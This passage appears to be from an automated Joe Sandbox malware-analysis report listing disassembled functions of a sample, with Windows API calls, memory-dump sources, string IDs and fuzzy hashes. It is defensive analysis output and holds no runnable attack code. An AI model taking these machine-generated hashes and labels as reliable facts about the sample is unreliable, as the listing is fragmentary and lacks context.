                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: DriveLogicalStrings
                                          • String ID: mqzp
                                          • API String ID: 2022863570-955126501
                                          • Opcode ID: bb1b5cd2ffa9230f5fa09be66bf95d69df85bc9c9d2d33d5d785338ad0a2ba28
                                          • Instruction ID: 9ee168cccb2b056a53e35efda12f4033dc8c73efc8d91dd9f735232ea9e1c154
                                          • Opcode Fuzzy Hash: bb1b5cd2ffa9230f5fa09be66bf95d69df85bc9c9d2d33d5d785338ad0a2ba28
                                          • Instruction Fuzzy Hash: 1F41E1709042499FDB10DFA8D845BAEFBB5FF49304F144259E409A7382D779AA44CBA1
                                          Function 0092F2B5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 83COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00924AE9: GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B20
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                            • Part of subcall function 00924AE9: _abort.LIBCMT ref: 00924B67
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B48
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B55
                                          • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0092F309
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$_free$InfoLocale_abort
                                          • String ID: mqzp
                                          • API String ID: 1663032902-955126501
                                          • Opcode ID: 320306c310c5a1637eb355c1a86db7d29fcbbb73cb8e02cc817056b016ae6d19
                                          • Instruction ID: b92aa24b474fe57210d876f91618863ec223d67257d486bb4443879e6d91486a
                                          • Opcode Fuzzy Hash: 320306c310c5a1637eb355c1a86db7d29fcbbb73cb8e02cc817056b016ae6d19
                                          • Instruction Fuzzy Hash: C8218E72A1422AEBDB24EE64EC52BBA73BCEB44350F10017AED05C6149EB75AD44DB90
                                          Function 009233A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0091C98B: EnterCriticalSection.KERNEL32(?,?,0091D7B6,00000000,0097CCB8,0000000C,0091D771,?,?,?,009254AB,?,?,00924B9E,00000001,00000364), ref: 0091C99A
                                          • EnumSystemLocalesW.KERNEL32(0092335A,00000001,0097CDB8,0000000C), ref: 009233D8
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: CriticalEnterEnumLocalesSectionSystem
                                          • String ID: mqzp
                                          • API String ID: 1272433827-955126501
                                          • Opcode ID: e997911cb496e3cefa422958967ee685ed91b67ea1b686fa642c4536f2524514
                                          • Instruction ID: ff63914e3cc57ff09d0bdbe848d55940f5a46094d71b5442c58a43b5800d8a77
                                          • Opcode Fuzzy Hash: e997911cb496e3cefa422958967ee685ed91b67ea1b686fa642c4536f2524514
                                          • Instruction Fuzzy Hash: 06F04F72A28314EFDB10EF78D846F9D77A0EB45720F118129F514EB2E1DB744A84AB41
                                          Function 008EC7B8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • ___crtGetLocaleInfoEx.LIBCPMT ref: 008EC7D3
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: InfoLocale___crt
                                          • String ID: 2
                                          • API String ID: 3761071962-450215437
                                          • Opcode ID: 94d9ae317dddcc1a3e64a75f7081b7145ae45ece0e556ca61f5891539d9c8b25
                                          • Instruction ID: f4b989e4cf4a23d8963eb93810a65f31809cf581125aa09b42f091d5e3edf18a
                                          • Opcode Fuzzy Hash: 94d9ae317dddcc1a3e64a75f7081b7145ae45ece0e556ca61f5891539d9c8b25
                                          • Instruction Fuzzy Hash: D6E06566D5524CBEEB04DA999DC6BAD727CE70139CF144058E10296081D3F14F95E562
                                          Function 0091A450 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 3dd72f702985af6806dfaffe95e6061d433a1408d7d43837ea120c6a167210ae
                                          • Instruction ID: 665f3424c07d861cb4804cb8c8d3ed09df7d1039523d6c1646bb1d9fe0c459ab
                                          • Opcode Fuzzy Hash: 3dd72f702985af6806dfaffe95e6061d433a1408d7d43837ea120c6a167210ae
                                          • Instruction Fuzzy Hash: 49021C71E012199FDF14CFA9C9806EDB7F5FF88314F258169D919E7284D731AE818B81
                                          Function 009185C6 Relevance: 3.3, Strings: 1, Instructions: 2066COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: mqzp
                                          • API String ID: 0-955126501
                                          • Opcode ID: 6936b5f4b42d801dd0161614281250f79efdeeb14000765021736b81d62be754
                                          • Instruction ID: 46aa55cf09e2b9e47353b210dd09a4d188dfacdd08d20b7441eeac6cd6cd365b
                                          • Opcode Fuzzy Hash: 6936b5f4b42d801dd0161614281250f79efdeeb14000765021736b81d62be754
                                          • Instruction Fuzzy Hash: AE032A71F0622D9FDB25CE289C907EAB3B9AB89304F1445EAD44DE7241DB349EC19F81
                                          Function 008C6A6D Relevance: 2.3, Strings: 1, Instructions: 1005COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID: 0-3916222277
                                          • Opcode ID: bc690b59c41391de2b13f4922f8fe44cdf0e69055e2bb1c6b1c598783e246631
                                          • Instruction ID: 6a1587f28a42929cb03a1688c170caa26a30268c67cb910acb3e48d62c58f4e2
                                          • Opcode Fuzzy Hash: bc690b59c41391de2b13f4922f8fe44cdf0e69055e2bb1c6b1c598783e246631
                                          • Instruction Fuzzy Hash: 10A21574A041289FCB18CF98D4A1EBDB7F1FB49310F20458DE596AB392C636EE51EB50
                                          Function 008AAA40 Relevance: 1.9, Strings: 1, Instructions: 616COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: mqzp
                                          • API String ID: 0-955126501
                                          • Opcode ID: a5503287b25b185de77446a19da7082b1cd887df3a02c57912bf022c3aa72e35
                                          • Instruction ID: 6592503fd47c3e2cf02af87736d83a602ea420076911e984a9ab8fcf2b0c212b
                                          • Opcode Fuzzy Hash: a5503287b25b185de77446a19da7082b1cd887df3a02c57912bf022c3aa72e35
                                          • Instruction Fuzzy Hash: BD32AB71A00248DFEB18DF28C984BAEBBA5FF49304F194159E846D7B42DB31ED45CB92
                                          Function 009222ED Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009222E8,?,?,00000008,?,?,00933381,00000000), ref: 0092251A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionRaise
                                          • String ID:
                                          • API String ID: 3997070919-0
                                          • Opcode ID: 8fb4e64eb1e35b733711559ee01557ab9055bb321c8243a2c45e09f44c3dadf7
                                          • Instruction ID: df5cef4ce13c178be44cc9a74239ba117cb6578dd67ad88505fd0087cb39266e
                                          • Opcode Fuzzy Hash: 8fb4e64eb1e35b733711559ee01557ab9055bb321c8243a2c45e09f44c3dadf7
                                          • Instruction Fuzzy Hash: 1CB17C31210619EFD719CF28D49ABA47BE0FF45364F25C658E899CF2A5C339E981CB40
                                          Function 0092EF3D Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00924AE9: GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B20
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                            • Part of subcall function 00924AE9: _abort.LIBCMT ref: 00924B67
                                          • EnumSystemLocalesW.KERNEL32(0092F065,00000001,00000000,?,009213E5,?,0092F692,00000000,?,?,?), ref: 0092EFAF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                          • String ID:
                                          • API String ID: 1084509184-0
                                          • Opcode ID: 7e0c3ead8bbb29b92150174c5b7995d51e757b2ab0209917a9ec1626c6270f00
                                          • Instruction ID: 81d7ebe7c7f505a5ceb8ec64326fc24f0fdfb01c095f5f1860ad16aa7c510b56
                                          • Opcode Fuzzy Hash: 7e0c3ead8bbb29b92150174c5b7995d51e757b2ab0209917a9ec1626c6270f00
                                          • Instruction Fuzzy Hash: 8A114C3B6047119FDB189F39E8E16BABB95FF80358B14443CE94687B40D3717942C740
                                          Function 0092EFD8 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00924AE9: GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B20
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                            • Part of subcall function 00924AE9: _abort.LIBCMT ref: 00924B67
                                          • EnumSystemLocalesW.KERNEL32(0092F2B5,00000001,?,?,009213E5,?,0092F656,009213E5,?,?,?,?,?,009213E5,?,?), ref: 0092F024
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                          • String ID:
                                          • API String ID: 1084509184-0
                                          • Opcode ID: 944ebaa95693247713ec57796bf84aae249668b414d0b62e3d4e6792c284f5c4
                                          • Instruction ID: f468ebad0fa220d826589339411ad5f3227b978ac64513e47a4cad88bca8b96f
                                          • Opcode Fuzzy Hash: 944ebaa95693247713ec57796bf84aae249668b414d0b62e3d4e6792c284f5c4
                                          • Instruction Fuzzy Hash: 8BF0223A3003245FDB245F79F8A1B6A7BA9FF81368B04443DF9058B685D6B19C42CB40
                                          Function 0092EEF2 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00924AE9: GetLastError.KERNEL32(000000FF,00000000,00911B78,00000000,00000000,?,0091205E,00000000,00000000,0089C58F,?,000000FF), ref: 00924AED
                                            • Part of subcall function 00924AE9: _free.LIBCMT ref: 00924B20
                                            • Part of subcall function 00924AE9: SetLastError.KERNEL32(00000000,00000000,0089C58F,?,000000FF), ref: 00924B61
                                            • Part of subcall function 00924AE9: _abort.LIBCMT ref: 00924B67
                                          • EnumSystemLocalesW.KERNEL32(0092EE49,00000001,?,?,?,0092F6B4,009213E5,?,?,?,?,?,009213E5,?,?,?), ref: 0092EF29
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                          • String ID:
                                          • API String ID: 1084509184-0
                                          • Opcode ID: 24bf1ea1d66a073e4bf9b4a30f815a020650ca17fb5b62b3a72a5539b0439f82
                                          • Instruction ID: ef6a478f2cdfe8a46d698ce35346e8836879e74fbf186db152d64e8835ec080b
                                          • Opcode Fuzzy Hash: 24bf1ea1d66a073e4bf9b4a30f815a020650ca17fb5b62b3a72a5539b0439f82
                                          • Instruction Fuzzy Hash: 74F0E53A30025597CB049FB6F889AAA7F98EFC1724B0A406AEE098B694C6719D42C750
                                          Function 008C4EA0 Relevance: 1.5, APIs: 1, Instructions: 18encryptionCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CryptReleaseContext.ADVAPI32(?,00000000), ref: 008C4EB3
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ContextCryptRelease
                                          • String ID:
                                          • API String ID: 829835001-0
                                          • Opcode ID: b9964c074582c74ed46df311c6b35476c5d2c54b6e2ce1de71428f7265bfa660
                                          • Instruction ID: 3649ed38453d10e46e1a4de6097f835893b5bbfd58a993770770a93e25e71112
                                          • Opcode Fuzzy Hash: b9964c074582c74ed46df311c6b35476c5d2c54b6e2ce1de71428f7265bfa660
                                          • Instruction Fuzzy Hash: D2D02EB071431122C3305A28AC08F47BAE8BF02B00F04891DBA88E2280D6F0D88483A9
                                          Function 008F224A Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetUnhandledExceptionFilter.KERNEL32(Function_00092256,008F1522), ref: 008F224F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ExceptionFilterUnhandled
                                          • String ID:
                                          • API String ID: 3192549508-0
                                          • Opcode ID: 35337bde42ecce72498505962f486e873b6dd76119e86bb0a94c0b389d87b97d
                                          • Instruction ID: 7ffc443c599bd3ee580660a09d4756976473f9ed636528ef95cf9f8ccabfba00
                                          • Opcode Fuzzy Hash: 35337bde42ecce72498505962f486e873b6dd76119e86bb0a94c0b389d87b97d
                                          • Instruction Fuzzy Hash:
                                          Function 008612E0 Relevance: 1.5, Strings: 1, Instructions: 249COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __onexit
                                          • String ID: mqzp
                                          • API String ID: 1448380652-955126501
                                          • Opcode ID: 2aa49cecaad896e687d067d16874d92ef651cf6dd984a8e12bec2acfb3eb3539
                                          • Instruction ID: 0836d697a2224e6a49e398f8d49c5819fa6c268e94f3157bd58055c908ca05b6
                                          • Opcode Fuzzy Hash: 2aa49cecaad896e687d067d16874d92ef651cf6dd984a8e12bec2acfb3eb3539
                                          • Instruction Fuzzy Hash: 43B1356253C384E9E710EB65EC2AB2A3690FF4170CF548068EA097B3E2DBF51548F795
                                          Function 008D43F0 Relevance: 1.5, Strings: 1, Instructions: 210COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: @
                                          • API String ID: 0-2766056989
                                          • Opcode ID: e544233a14759ee02192f7d70824f0a391b31b610a454b5b797bde67a2ab18ce
                                          • Instruction ID: 151fa49f805b69c79a5aa5a4ca2437476d5481ab5f2c45563b708201e2aabce1
                                          • Opcode Fuzzy Hash: e544233a14759ee02192f7d70824f0a391b31b610a454b5b797bde67a2ab18ce
                                          • Instruction Fuzzy Hash: 509151318087898BE716CF2CC5017EAB7E1FFE930CF189719FD99A6251E731AA858741
                                          Function 00868AE0 Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
